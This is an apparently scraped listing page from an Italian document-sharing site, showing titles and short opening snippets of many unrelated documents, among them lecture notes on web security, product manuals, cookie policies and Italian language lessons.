Posta elettronica per gli studenti Email for the students http://www.uninettunouniverstiy.net Posta elettronica per gli studenti Email for the students Ver. 1.0 Ultimo aggiornamento (last update): 10/09/2008 13.47 Informazioni sul Documento / Information on the

Dettagli

How to use the WPA2 encrypted connection

How to use the WPA2 encrypted connection How to use the WPA2 encrypted connection At every Alohawifi hotspot you can use the WPA2 Enterprise encrypted connection (the highest security standard for wireless networks nowadays available) simply

Dettagli

CCTV DIVISION GUIDA RAPIDA PER LA CONFIGURAZIONE DELL IP STATICO SU SISTEMI TVCC QUICK GUIDE FOR STATIC IP CONFIGURATION ABOUT CCTV SYSTEM

CCTV DIVISION GUIDA RAPIDA PER LA CONFIGURAZIONE DELL IP STATICO SU SISTEMI TVCC QUICK GUIDE FOR STATIC IP CONFIGURATION ABOUT CCTV SYSTEM CCTV DIVISION GUIDA RAPIDA PER LA CONFIGURAZIONE DELL IP STATICO SU SISTEMI TVCC QUICK GUIDE FOR STATIC IP CONFIGURATION ABOUT CCTV SYSTEM ITALIANO Principali Step per la configurazione I dispositivi di

Dettagli

Babaoglu 2006 Sicurezza 2

Babaoglu 2006 Sicurezza 2 Key Escrow Key Escrow Ozalp Babaoglu! In many situations, a secret (key) is known to only a single individual " Private key in asymmetric cryptography " The key in symmetric cryptography or MAC where the

Dettagli

CONFIGURATION MANUAL

CONFIGURATION MANUAL RELAY PROTOCOL CONFIGURATION TYPE CONFIGURATION MANUAL Copyright 2010 Data 18.06.2013 Rev. 1 Pag. 1 of 15 1. ENG General connection information for the IEC 61850 board 3 2. ENG Steps to retrieve and connect

Dettagli

Copyright 2012 Binary System srl 29122 Piacenza ITALIA Via Coppalati, 6 P.IVA 01614510335 - info@binarysystem.eu http://www.binarysystem.

Copyright 2012 Binary System srl 29122 Piacenza ITALIA Via Coppalati, 6 P.IVA 01614510335 - info@binarysystem.eu http://www.binarysystem. CRWM CRWM (Web Content Relationship Management) has the main features for managing customer relationships from the first contact to after sales. The main functions of the application include: managing

Dettagli

Introduzione Kerberos. Orazio Battaglia

Introduzione Kerberos. Orazio Battaglia Orazio Battaglia Il protocollo Kerberos è stato sviluppato dal MIT (Massachusetts Institute of Tecnology) Iniziato a sviluppare negli anni 80 è stato rilasciato come Open Source nel 1987 ed è diventato

Dettagli

Clicca sulle immagini di preview qui sotto per aprire e visualizzare alcuni esempi di presentazioni dinamiche create con Focusky:

Clicca sulle immagini di preview qui sotto per aprire e visualizzare alcuni esempi di presentazioni dinamiche create con Focusky: Focusky Focusky è l innovativo e professionale software progettato per creare resentazioni interattive ad alto impatto visivo e ricco di effetti speciali (zoom, transizioni, flash, ecc..). A differenza

Dettagli

ATM. Compatibile con diversi Canali di Comunicazione. Call Center / Interactive Voice Response

ATM. Compatibile con diversi Canali di Comunicazione. Call Center / Interactive Voice Response Compatibile con diversi Canali di Comunicazione Call Center / Interactive Voice Response ATM PLUS + Certificato digitale Dispositivi Portatili Mutua Autenticazione per E-mail/documenti 46 ,classico richiamo

Dettagli

Architettura Connettore Alfresco Share

Architettura Connettore Alfresco Share Direzione Sistemi Informativi Portale e Orientamento Allegato n. 2 al Capitolato Tecnico Indice Architettura Connettore Alfresco Share 1. Architettura del Connettore... 3 1.1 Componente ESB... 4 1.2 COMPONENTE

Dettagli

Tutto il VoIP in 45 minuti!! Giuseppe Tetti. Ambiente Demo. VoIP IP PBX SIP

Tutto il VoIP in 45 minuti!! Giuseppe Tetti. Ambiente Demo. VoIP IP PBX SIP Tutto il in 45 minuti!! Giuseppe Tetti Ambiente Demo 1 Ambiente Demo Ambiente Demo 2 Ambiente Demo ATA Ambiente Demo Internet ATA 3 Ambiente Demo Internet ATA Rete Telefonica pubblica Ambiente Demo Internet

Dettagli

Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting

Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting Pattern Recognition and Applications Lab Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting Dott. Ing. Igino Corona igino.corona (at) diee.unica.it Corso Sicurezza

Dettagli

AGGIORNAMENTO MENSILE DI SICUREZZA MICROSOFT

AGGIORNAMENTO MENSILE DI SICUREZZA MICROSOFT AGGIORNAMENTO MENSILE DI SICUREZZA MICROSOFT SEGNALAZIONE DEL 16/12/2010 NR.: 15-2010 (LIVELLO DI RISCHIO: 3 SU 5) INTRODUZIONE Si segnala che Microsoft, nell'ambito del suo programma di aggiornamento

Dettagli

Compatibilità del Portale Piaggio con Internet Explorer 10 e 11. Internet Explorer 10

Compatibilità del Portale Piaggio con Internet Explorer 10 e 11. Internet Explorer 10 Italiano: Explorer 10 pagina 1, Explorer 11 pagina 2 English: Explorer 10 page 3 and 4, Explorer 11 page 5. Compatibilità del Portale Piaggio con Internet Explorer 10 e 11 Internet Explorer 10 Con l introduzione

Dettagli

REGISTRATION GUIDE TO RESHELL SOFTWARE

REGISTRATION GUIDE TO RESHELL SOFTWARE REGISTRATION GUIDE TO RESHELL SOFTWARE INDEX: 1. GENERAL INFORMATION 2. REGISTRATION GUIDE 1. GENERAL INFORMATION This guide contains the correct procedure for entering the software page http://software.roenest.com/

Dettagli

Introduzione all ambiente di sviluppo

Introduzione all ambiente di sviluppo Laboratorio II Raffaella Brighi, a.a. 2005/06 Corso di Laboratorio II. A.A. 2006-07 CdL Operatore Informatico Giuridico. Introduzione all ambiente di sviluppo Raffaella Brighi, a.a. 2005/06 Corso di Laboratorio

Dettagli

Simone Riccetti. Applicazioni web:security by design

Simone Riccetti. Applicazioni web:security by design Simone Riccetti Applicazioni web:security by design Perchè il problema continua a crescere? Connettività: Internet L incremento del numero e delle tipologie d vettori di attacco è proporzionale all incremento

Dettagli

Attacchi Web - Introduzione alla sicurezza nelle applicazioni Web

Attacchi Web - Introduzione alla sicurezza nelle applicazioni Web Attacchi Web Introduzione alla sicurezza nelle applicazioni Web Davide Marrone davide@security.dico.unimi.it Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Dipartimento

Dettagli

Cryptographic Techniques for Authentication

Cryptographic Techniques for Authentication Identificazione con Funzioni Hash one-way Cryptographic Techniques for Authentication Ozalp Babaoglu! Accesso di un utente alla propria casella di posta elettronica o ai file personali memorizzati su un

Dettagli

drag & drop visual programming appinventor storia appinventor un esempio di drag & drop programming: Scratch

drag & drop visual programming appinventor storia appinventor un esempio di drag & drop programming: Scratch drag & drop visual programming appinventor realizzazione app per Google Android OS appinventor è un applicazione drag & drop visual programming Contrariamente ai linguaggi tradizionali (text-based programming

Dettagli

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin Elementi di Sicurezza e Privatezza Lezione 13 Web Security Chiara Braghin Cookie e Sicurezza HTTP e i cookie (1) Vi ricordate? I Web server in genere sono stateless: una serie di richieste dallo stesso

Dettagli

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza

Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza Elementi di Sicurezza e Privatezza Lezione 13 Web Security Chiara Braghin Cookie e Sicurezza 1 HTTP e i cookie (1) Vi ricordate? I Web server in genere sono stateless: una serie di richieste dallo stesso

Dettagli

GstarCAD 2010 Features

GstarCAD 2010 Features GstarCAD 2010 Features Unrivaled Compatibility with AutoCAD-Without data loss&re-learning cost Support AutoCAD R2.5~2010 GstarCAD 2010 uses the latest ODA library and can open AutoCAD R2.5~2010 DWG file.

Dettagli

ECVUSBO MANUALE DEL PRODOTTO DEVICE MANUAL

ECVUSBO MANUALE DEL PRODOTTO DEVICE MANUAL ECVUSBO MANUALE DEL PRODOTTO DEVICE MANUAL INDICE TABLE OF CONTENTS 1. Introduzione... pag. 3 1. Introduction... pag. 3 2. Requisiti di sistema... pag. 3 1. System requirements... pag. 3 3. Installazione...

Dettagli

Il VoIP parla Wireless. Giuseppe Tetti. Ambiente Demo. VoIP IP PBX SIP. Internet. Soft Phone

Il VoIP parla Wireless. Giuseppe Tetti. Ambiente Demo. VoIP IP PBX SIP. Internet. Soft Phone Il VoIP parla Wireless Giuseppe Tetti Ambiente Demo VoIP IP PBX SIP Internet Soft Phone 1 Obiettivi Realizzare un sistema di comunicazione vocale basato interamente su tecnologie VoIP utilizzando: Trasporto

Dettagli

Guida utente User Manual made in Italy Rev0

Guida utente User Manual made in Italy Rev0 Guida utente User Manual Rev0 made in Italy Indice/Index Informazioni generali General Info... 3 Guida Rapida per messa in funzione Start Up procedure... 3 Login Login... 3 Significato dei tasti Botton

Dettagli

Navigazione automatica e rilevazione di errori in applicazioni web

Navigazione automatica e rilevazione di errori in applicazioni web Politecnico di Milano Navigazione automatica e rilevazione di errori in applicazioni web Relatore: Prof. Stefano Zanero Fabio Quarti F e d e r i c o V i l l a A.A. 2006/2007 Sommario Obiettivo: Illustrare

Dettagli

Guida alla configurazione Configuration Guide

Guida alla configurazione Configuration Guide Guida alla configurazione Configuration Guide Configurazione telecamere IP con DVR analogici, compatibili IP IP cameras configuration with analog DVR, IP compatible Menu principale: Fare clic con il pulsante

Dettagli

U Corso di italiano, Lezione Ventinove

U Corso di italiano, Lezione Ventinove 1 U Corso di italiano, Lezione Ventinove U Oggi, facciamo un altro esercizio M Today we do another exercise U Oggi, facciamo un altro esercizio D Noi diciamo una frase in inglese e tu cerca di pensare

Dettagli

UNIVERSITÀ DEGLI STUDI DI TORINO. Instructions to apply for exams ONLINE Version 01 updated on 17/11/2014

UNIVERSITÀ DEGLI STUDI DI TORINO. Instructions to apply for exams ONLINE Version 01 updated on 17/11/2014 Instructions to apply for exams ONLINE Version 01 updated on 17/11/2014 Didactic offer Incoming students 2014/2015 can take exams of courses scheduled in the a.y. 2014/2015 and offered by the Department

Dettagli

sdforexcontest2009 Tool

sdforexcontest2009 Tool sdforexcontest2009 Tool Guida all istallazione e rimozione. Per scaricare il tool del campionato occorre visitare il sito dell organizzatore http://www.sdstudiodainesi.com e selezionare il link ForexContest

Dettagli

software & consulting

software & consulting software & consulting Chi siamo Nimius è un azienda con una forte specializzazione nella comunicazione on-line che opera nel settore dell IT e che intende porsi, mediante la propria offerta di servizi

Dettagli

Utilizzando il nostro sito, l'utente accetta che tali cookie possono essere installati sul proprio dispositivo.

Utilizzando il nostro sito, l'utente accetta che tali cookie possono essere installati sul proprio dispositivo. Cookie Per rendere il nostro sito web più facile ed intuitivo, facciamo uso dei cookie. Utilizziamo i dati raccolti grazie ai cookie per rendere l'esperienza di navigazione più piacevole e più efficiente.

Dettagli

ACQUISTI PORTALE. Purchasing Portal

ACQUISTI PORTALE. Purchasing Portal ACQUISTI PORTALE Purchasing Portal Il portale acquisti della Mario De Cecco è ideato per: The Mario De Cecco purchase portal is conceived for: - ordinare on line in modo semplice e rapido i prodotti desiderati,

Dettagli

Progetto Michelangelo. Click4Care - ThinkHealth System. Paolo Rota Sperti Roma, 08 Novembre 2008. 2008 Pfizer Italy. Tutti i diritti riservati.

Progetto Michelangelo. Click4Care - ThinkHealth System. Paolo Rota Sperti Roma, 08 Novembre 2008. 2008 Pfizer Italy. Tutti i diritti riservati. Progetto Michelangelo Click4Care - ThinkHealth System Paolo Rota Sperti Roma, 08 Novembre 2008 2008 Pfizer Italy. Tutti i diritti riservati. 1 Storia Pfizer ha sviluppato negli ultimi anni know-how nel

Dettagli

SQL Injection. Homograph Attack. Cross-Site Scripting. SQL Injection

SQL Injection. Homograph Attack. Cross-Site Scripting. SQL Injection SQL Injection SQL Injection Homograph Attack Cross-Site Scripting SQL Injection is a technique for exploiting web applications that use clientsupported data in SQL queries without stripping potentially

Dettagli

Prova finale di Ingegneria del software

Prova finale di Ingegneria del software Prova finale di Ingegneria del software Scaglione: Prof. San Pietro Andrea Romanoni: Francesco Visin: andrea.romanoni@polimi.it francesco.visin@polimi.it Italiano 2 Scaglioni di voto Scaglioni di voto

Dettagli

INFORMATICA DISTRIBUITA. lez 6 World Wide Web (cont)

INFORMATICA DISTRIBUITA. lez 6 World Wide Web (cont) INFORMATICA DISTRIBUITA prof. lez 6 World Wide Web (cont) Università degli Studi di Milano Scienze e Tecnologie della Comunicazione Musicale a.a. 2009-2010 Scripting Invece di avere un programma esterno,

Dettagli

We take care of your buildings

We take care of your buildings We take care of your buildings Che cos è il Building Management Il Building Management è una disciplina di derivazione anglosassone, che individua un edificio come un entità che necessita di un insieme

Dettagli

La Sua banca dovrá registrare il mandato di addebito nei propri sistemi prima di poter iniziare o attivare qualsiasi transazione

La Sua banca dovrá registrare il mandato di addebito nei propri sistemi prima di poter iniziare o attivare qualsiasi transazione To: Agenti che partecipano al BSP Italia Date: 28 Ottobre 2015 Explore Our Products Subject: Addebito diretto SEPA B2B Informazione importante sulla procedura Gentili Agenti, Con riferimento alla procedura

Dettagli

INFORMATICA DISTRIBUITA. lez 5 World Wide Web (cont)

INFORMATICA DISTRIBUITA. lez 5 World Wide Web (cont) INFORMATICA DISTRIBUITA prof. lez 5 World Wide Web (cont) Università degli Studi di Milano Scienze e Tecnologie della Comunicazione Musicale a.a. 2009-2010 Protocolli usabili nelle URL http: ftp: : http://www.dico.unimi.it/

Dettagli

U Corso di italiano, Lezione Quindici

U Corso di italiano, Lezione Quindici 1 U Corso di italiano, Lezione Quindici U Buongiorno, anche in questa lezione iniziamo con qualche dialogo formale M Good morning, in this lesson as well, let s start with some formal dialogues U Buongiorno,

Dettagli

THIS DOCUMENT WILL GUIDE YOU STEP BY STEP THROUGH THE DONATION PROCESS RELATED TO THE CROWDFUNDING CAMPAIGN MADE BY STANZE AL GENIO S HOUSE MUSEUM.

THIS DOCUMENT WILL GUIDE YOU STEP BY STEP THROUGH THE DONATION PROCESS RELATED TO THE CROWDFUNDING CAMPAIGN MADE BY STANZE AL GENIO S HOUSE MUSEUM. QUESTO DOCUMENTO TI GUIDA PASSO PASSO NELLA PROCEDURA DI DONAZIONE NELL AMBITO DELLA CAMPAGNA DI RACCOLTA FONDI PROMOSSA DALLA CASA MUSEO STANZE AL GENIO. THIS DOCUMENT WILL GUIDE YOU STEP BY STEP THROUGH

Dettagli

Indice generale. Parte I Anatomia del Web...21. Introduzione...xiii

Indice generale. Parte I Anatomia del Web...21. Introduzione...xiii Indice generale Introduzione...xiii Capitolo 1 La sicurezza nel mondo delle applicazioni web...1 La sicurezza delle informazioni in sintesi... 1 Primi approcci con le soluzioni formali... 2 Introduzione

Dettagli

STATO IMPLEMENTAZIONE ONVIF SU TELECAMERE MUNDUS SECURUS

STATO IMPLEMENTAZIONE ONVIF SU TELECAMERE MUNDUS SECURUS IMPLEMENTAZIONE ONVIF SU TELECAMERE MUNDUS SECURUS 1. Ambiente di sviluppo Sono stati analizzati diversi linguaggi e framework differenti utilizzabili per implementare i WebServices ONVIF. Il risultato

Dettagli

Protocolli di Sessione TCP/IP: una panoramica

Protocolli di Sessione TCP/IP: una panoramica Protocolli di Sessione TCP/IP: una panoramica Carlo Perassi carlo@linux.it Un breve documento, utile per la presentazione dei principali protocolli di livello Sessione dello stack TCP/IP e dei principali

Dettagli

IBM Software Demos WebSphere Software Development WSStudio

IBM Software Demos WebSphere Software Development WSStudio In this demonstration we will see the construction of a web based customer order query application that provides an introduction

Dettagli

Web e HTTP. path name. host name Realizzato da Roberto Savino. www.someschool.edu/somedept/pic.gif

Web e HTTP. path name. host name Realizzato da Roberto Savino. www.someschool.edu/somedept/pic.gif Web e HTTP Terminologia Una pagina web consiste di oggetti Un oggetto può essere un file HTML, una immagine JPG, ecc. Una pagina web consiste di un file HTML base che fa riferimento a diversi oggetti al

Dettagli

U Corso di italiano, Lezione Diciannove

U Corso di italiano, Lezione Diciannove 1 U Corso di italiano, Lezione Diciannove U Al telefono: M On the phone: U Al telefono: U Pronto Elena, come stai? M Hello Elena, how are you? U Pronto Elena, come stai? D Ciao Paolo, molto bene, grazie.

Dettagli

ISAC. Company Profile

ISAC. Company Profile ISAC Company Profile ISAC, all that technology can do. L azienda ISAC nasce nel 1994, quando professionisti con una grande esperienza nel settore si uniscono, e creano un team di lavoro con l obiettivo

Dettagli

KLEIS WEB APPLICATION FIREWALL

KLEIS WEB APPLICATION FIREWALL KLEIS WEB APPLICATION FIREWALL VERSIONE 2.1 Presentazione www.kwaf.it Cos'è Kleis Web Application Firewall? Kleis Web Application Firewall (KWAF) è un firewall software per la difesa di: Web Application

Dettagli

Ingegneria del Software Testing. Corso di Ingegneria del Software Anno Accademico 2012/2013

Ingegneria del Software Testing. Corso di Ingegneria del Software Anno Accademico 2012/2013 Ingegneria del Software Testing Corso di Ingegneria del Software Anno Accademico 2012/2013 1 Definizione IEEE Software testing is the process of analyzing a software item to detect the differences between

Dettagli

Attacchi alle Applicazioni Web

Attacchi alle Applicazioni Web Attacchi alle Applicazioni Web http://www.infosec.it info@infosec.it Relatore: Matteo Falsetti Webbit03 Attacchi alle Applicazioni Web- Pagina 1 Applicazioni web: definizioni, scenari, rischi ICT Security

Dettagli

Privacy & Cookies - Diavolina.bio

Privacy & Cookies - Diavolina.bio Privacy & Cookies - Diavolina.bio Informative sul trattamento dei dati personali Informativa Cookies Per migliorare l esperienza di navigazione, il nostro sito fa uso dei cookies, piccole porzioni di dati

Dettagli

Scritto da DEApress Lunedì 14 Aprile 2014 12:03 - Ultimo aggiornamento Martedì 26 Maggio 2015 09:34

Scritto da DEApress Lunedì 14 Aprile 2014 12:03 - Ultimo aggiornamento Martedì 26 Maggio 2015 09:34 This week I have been walking round San Marco and surrounding areas to find things that catch my eye to take pictures of. These pictures were of various things but majority included people. The reason

Dettagli

Get Instant Access to ebook Venditore PDF at Our Huge Library VENDITORE PDF. ==> Download: VENDITORE PDF

Get Instant Access to ebook Venditore PDF at Our Huge Library VENDITORE PDF. ==> Download: VENDITORE PDF VENDITORE PDF ==> Download: VENDITORE PDF VENDITORE PDF - Are you searching for Venditore Books? Now, you will be happy that at this time Venditore PDF is available at our online library. With our complete

Dettagli

API e socket per lo sviluppo di applicazioni Web Based

API e socket per lo sviluppo di applicazioni Web Based API e socket per lo sviluppo di applicazioni Web Based Cosa sono le API? Consideriamo il problema di un programmatore che voglia sviluppare un applicativo che faccia uso dei servizi messi a disposizione

Dettagli

CMS Hacking. Analisi del rischio di utilizzo di applicazioni di terze parti. Gabriele Buratti www.isc2chapter-italy.it

CMS Hacking. Analisi del rischio di utilizzo di applicazioni di terze parti. Gabriele Buratti www.isc2chapter-italy.it CMS Hacking Analisi del rischio di utilizzo di applicazioni di terze parti Gabriele Buratti www.isc2chapter-italy.it Agenda Definizione di CMS Rischi e tendenze (e le ragioni di ciò) Attacchi recenti Perchè

Dettagli

Newborn Upfront Payment & Newborn Supplement

Newborn Upfront Payment & Newborn Supplement ITALIAN Newborn Upfront Payment & Newborn Supplement Female 1: Ormai manca poco al parto e devo pensare alla mia situazione economica. Ho sentito dire che il governo non sovvenziona più il Baby Bonus.

Dettagli

http://www-5.unipv.it/eduroam/

http://www-5.unipv.it/eduroam/ EduRoam - UniPv http://www-5.unipv.it/eduroam/ Page 1 of 1 30/01/2014 EduRoam è un servizio internazionale che permette l'accesso alla rete wireless agli utenti mobili (roaming users) in tutte le organizzazioni

Dettagli

GESTIONE IMMOBILIARE REAL ESTATE

GESTIONE IMMOBILIARE REAL ESTATE CONOSCENZA Il Gruppo SCAI ha maturato una lunga esperienza nell ambito della gestione immobiliare. Il know-how acquisito nei differenti segmenti di mercato, ci ha permesso di diventare un riferimento importante

Dettagli

http://www.homeaway.it/info/guida-proprietari Copyright HomeAway INC

http://www.homeaway.it/info/guida-proprietari Copyright HomeAway INC Cambiare il testo in rosso con i vostri estremi Esempi di lettere in Inglese per la restituzione o trattenuta di acconti. Restituzione Acconto, nessun danno all immobile: Vostro Indirizzo: Data

Dettagli

Streaming unicast. Live media source. Media store. server. internet. Client player. control. 5. Multimedia streaming Pag. 1

Streaming unicast. Live media source. Media store. server. internet. Client player. control. 5. Multimedia streaming Pag. 1 5. Multimedia streaming Pag. 1 Streaming unicast Live media source Unicast streaming is provided in a classic client- fashion At least two flows are established between client and. A distribution flow

Dettagli

Si ricorda che il pagamento è possibile solo tramite CARTE DI CREDITO del circuito VISA VBV (Verified By Visa) o MASTERCARD SECURECODE

Si ricorda che il pagamento è possibile solo tramite CARTE DI CREDITO del circuito VISA VBV (Verified By Visa) o MASTERCARD SECURECODE BENVENUTO WELCOME Dopo aver acconsentito al trattamento dati personali potrai accedere alla procedura di iscrizione online agli eventi messi a disposizione dal Gruppo Cinofilo Fiorentino. Ti consigliamo

Dettagli

13-03-2013. Introduzione al Semantic Web Linguaggi per la rappresentazione di ontologie. L idea del Semantic Web.

13-03-2013. Introduzione al Semantic Web Linguaggi per la rappresentazione di ontologie. L idea del Semantic Web. Corso di Ontologie e Semantic Web Linguaggi per la rappresentazione di ontologie Prof. Alfio Ferrara, Prof. Stefano Montanelli Definizioni di Semantic Web Rilievi critici Un esempio Tecnologie e linguaggi

Dettagli

Cookies e Sessioni. Programmazione lato server. Cookies

Cookies e Sessioni. Programmazione lato server. Cookies Programmazione lato server Cookies e Sessioni Cookies a cookie is a bit of text, containing some unique information, that web servers send in the HTTP header. The client s browser keeps a list of cookies

Dettagli

Downloading and Installing Software Socio TIS

Downloading and Installing Software Socio TIS Object: Downloading and Installing Software Socio TIS compiler: L.D. Date Revision Note April 17 th 2013 --- For SO XP; Win 7 / Vista step Operation: Image A1 Open RUN by clicking the Start button, and

Dettagli

Domenico Ercolani Come gestire la sicurezza delle applicazioni web

Domenico Ercolani Come gestire la sicurezza delle applicazioni web Domenico Ercolani Come gestire la sicurezza delle applicazioni web Agenda Concetti generali di sicurezza applicativa La soluzione IBM La spesa per la sicurezza non è bilanciata Sicurezza Spesa Buffer Overflow

Dettagli

Debtags. Dare un senso a 20000 pacchetti. 16 settembre 2006 14 slides Enrico Zini enrico@debian.org

Debtags. Dare un senso a 20000 pacchetti. 16 settembre 2006 14 slides Enrico Zini enrico@debian.org Debtags Dare un senso a 20000 pacchetti. 16 settembre 2006 14 slides Enrico Zini (enrico@debian.org) 1/14 Fondazioni teoretiche Classificazione a Faccette (sfaccettature) Scoperte del cognitivismo (capacità

Dettagli

Informativa sui cookie

Informativa sui cookie Informativa sui cookie COOKIE Questo sito utilizza i cookie. I cookie sono piccole quantità di dati che ci permettono di confrontare i visitatori nuovi e quelli passati e di capire come gli utenti navigano

Dettagli

e-spare Parts User Manual Peg Perego Service Site Peg Perego [Dicembre 2011]

e-spare Parts User Manual Peg Perego Service Site Peg Perego [Dicembre 2011] Peg Perego Service Site Peg Perego [Dicembre 2011] 2 Esegui il login: ecco la nuova Home page per il portale servizi. Log in: welcome to the new Peg Perego Service site. Scegli il servizio selezionando

Dettagli

Guida all installazione del prodotto 4600 in configurazione plip

Guida all installazione del prodotto 4600 in configurazione plip Guida all installazione del prodotto 4600 in configurazione plip Premessa Questo prodotto è stato pensato e progettato, per poter essere installato, sia sulle vetture provviste di piattaforma CAN che su

Dettagli

Dr Mila Milani. Comparatives and Superlatives

Dr Mila Milani. Comparatives and Superlatives Dr Mila Milani Comparatives and Superlatives Comparatives are particular forms of some adjectives and adverbs, used when making a comparison between two elements: Learning Spanish is easier than learning

Dettagli

Sicurezza delle applicazioni web: protocollo HTTP

Sicurezza delle applicazioni web: protocollo HTTP Università degli Studi di Milano Facoltà di Scienze Matematiche, Fisiche e Naturali Anno Accademico 2009/2010 Sicurezza delle applicazioni web: protocollo HTTP Roberto Paleari roberto@security.dico.unimi.it

Dettagli

LabMecFit. versione beta. by S.Frasca Dipartimento di Fisica Università Sapienza Roma

LabMecFit. versione beta. by S.Frasca Dipartimento di Fisica Università Sapienza Roma LabMecFit versione beta by S.Frasca Dipartimento di Fisica Università Sapienza Roma LabMecFit è un programma che permette di elaborare i dati prodotti da DataStudio. I dati devono essere salvati da DataStudio

Dettagli

MANUALE UTENTE MODULO ESPANSIONE TASTI MANUALE UTENTE MANUALE UTENTE Descrizione Il modulo fornisce al telefono VOIspeed V-605 flessibilità e adattabilità, mediante l aggiunta di trenta tasti memoria facilmente

Dettagli

Elementi di Sicurezza e Privatezza Lezione 12 Web Security

Elementi di Sicurezza e Privatezza Lezione 12 Web Security Elementi di Sicurezza e Privatezza Lezione 12 Web Security Chiara Braghin chiara.braghin@unimi.it Dalla lezione precedente Formato della HTTP Request: Metodo URL Versione protocollo Header GET /index.html

Dettagli

Architetture Web Protocolli di Comunicazione

Architetture Web Protocolli di Comunicazione Architetture Web Protocolli di Comunicazione Alessandro Martinelli alessandro.martinelli@unipv.it 10 Maggio 2011 Architetture Web Architetture Web Protocolli di Comunicazione Il Client Side Il Server Side

Dettagli

Uno strumento a supporto della valutazione di conformità di Live Regions alle direttive WAI-ARIA

Uno strumento a supporto della valutazione di conformità di Live Regions alle direttive WAI-ARIA Tesi di Laurea: Uno strumento a supporto della valutazione di conformità di Live Regions alle direttive WAI-ARIA Anno Accademico 2007/2008 relatore Ch.mo prof. Porfirio Tramontana candidato Nicola Traficante

Dettagli

Esercizi Programming Contest

Esercizi Programming Contest Esercizi Programming Contest Alberto Montresor 22 maggio 2012 Alcuni degli esercizi che seguono sono associati alle rispettive soluzioni. Se il vostro lettore PDF lo consente, è possibile saltare alle

Dettagli

www.aylook.com -Fig.1-

www.aylook.com -Fig.1- 1. RAGGIUNGIBILITA DI AYLOOK DA REMOTO La raggiungibilità da remoto di Aylook è gestibile in modo efficace attraverso una normale connessione ADSL. Si presentano, però, almeno due casi: 1.1 Aylook che

Dettagli

Esercitazione 1 parte 1

Esercitazione 1 parte 1 Esercitazione 1 parte 1 Usare Chrome per vedere una pagina h>p://ppl.eln.uniroma2.it/pw/ex1/kitchen.html Vedere il sorgente html Komodo edit, Sublime Text, Notepad++ Aprire i Developer Tools Descrizione

Dettagli

Università degli Studi di Brescia

Università degli Studi di Brescia Contenuti professionalizzanti creazione e la gestione di siti web Web Programming Introduzione al corso Università degli Studi di Brescia Riccardo Cassinis Marzia Tassi Fabio Tampalini Il sito del corso

Dettagli

Scritto mercoledì 1 agosto 2012 13:52 sul sito informaticamente.pointblog.it

Scritto mercoledì 1 agosto 2012 13:52 sul sito informaticamente.pointblog.it Vulnerabilità dei CMS Joomla, Wordpress, ecc. Articoli tratti dal sito html.it e informaticamente.pointblog.it -------------------------------------------------------------------------------------------------------------

Dettagli

INFORMATIVA PRIVACY E INFORMATIVA ESTESA SUI COOKIE

INFORMATIVA PRIVACY E INFORMATIVA ESTESA SUI COOKIE INFORMATIVA PRIVACY E INFORMATIVA ESTESA SUI COOKIE Ai sensi del Decreto Legislativo 30 giugno 2003, n.196 del Codice in materia di protezione dei dati personali e seguenti aggiornamenti, OLIVARI B. spa

Dettagli

The Elves Save Th. Il gioco del Villaggio segreto di Babbo Natale

The Elves Save Th. Il gioco del Villaggio segreto di Babbo Natale The Elves Save Th Il gioco del Villaggio segreto di Babbo Natale Bianca Bonnie e and Nico Bud had avevano been working lavorato really hard con making molto impegno per a inventare new board game un nuovo

Dettagli

Archiviare messaggi da Microsoft Office 365

Archiviare messaggi da Microsoft Office 365 Archiviare messaggi da Microsoft Office 365 Nota: Questo tutorial si riferisce specificamente all'archiviazione da Microsoft Office 365. Si dà come presupposto che il lettore abbia già installato MailStore

Dettagli

HarNoBaWi Udine, 09/03/2015

HarNoBaWi Udine, 09/03/2015 HarNoBaWi Udine, 09/03/2015 Armonizzazione del processo di notifica nell ambito dell economia dello smaltimento e recupero dei rifiuti nell Euroregione Carinzia FVG Veneto Interreg IV Italia Austria Programma

Dettagli

On Line Press Agency - Price List 2014

On Line Press Agency - Price List 2014 On Line Press Agency - Price List Partnerships with Il Sole 24 Ore Guida Viaggi, under the brand GVBusiness, is the official publishing contents supplier of Il Sole 24 Ore - Viaggi 24 web edition, more

Dettagli

DICHIARAZIONE DI RESPONSABILITÀ

DICHIARAZIONE DI RESPONSABILITÀ - 0MNSWK0082LUA - - ITALIANO - DICHIARAZIONE DI RESPONSABILITÀ Il produttore non accetta responsabilità per la perdita di dati, produttività, dispositivi o qualunque altro danno o costo associato (diretto

Dettagli

Laboratorio di Amministrazione di Sistema (CT0157) parte A : domande a risposta multipla

Laboratorio di Amministrazione di Sistema (CT0157) parte A : domande a risposta multipla Laboratorio di Amministrazione di Sistema (CT0157) parte A : domande a risposta multipla 1. Which are three reasons a company may choose Linux over Windows as an operating system? (Choose three.)? a) It

Dettagli

Informazioni su questo libro

Informazioni su questo libro Informazioni su questo libro Si tratta della copia digitale di un libro che per generazioni è stato conservata negli scaffali di una biblioteca prima di essere digitalizzato da Google nell ambito del progetto

Dettagli

Usage guidelines. About Google Book Search

Usage guidelines. About Google Book Search This is a digital copy of a book that was preserved for generations on library shelves before it was carefully scanned by Google as part of a project to make the world s books discoverable online. It has

Dettagli

Architetture Applicative Il Web

Architetture Applicative Il Web Architetture Applicative Il Web Alessandro Martinelli alessandro.martinelli@unipv.it 18 Marzo 2014 Architetture Architetture Web L Architettura Client-Server HTTP Protocolli di Comunicazione Fondamenti

Dettagli

THINKING DIGITAL SYNCHRONIZING WITH THE FUTURE PENSIERO DIGITALE: SINCRONIZZARSI COL FUTURO

THINKING DIGITAL SYNCHRONIZING WITH THE FUTURE PENSIERO DIGITALE: SINCRONIZZARSI COL FUTURO THINKING DIGITAL SYNCHRONIZING WITH THE FUTURE PENSIERO DIGITALE: SINCRONIZZARSI COL FUTURO A STEP FORWARD IN THE EVOLUTION Projecta Engineering developed in Sassuolo, in constant contact with the most

Dettagli

GCE. Edexcel GCE Italian(9330) Summer 2006. Mark Scheme (Results)

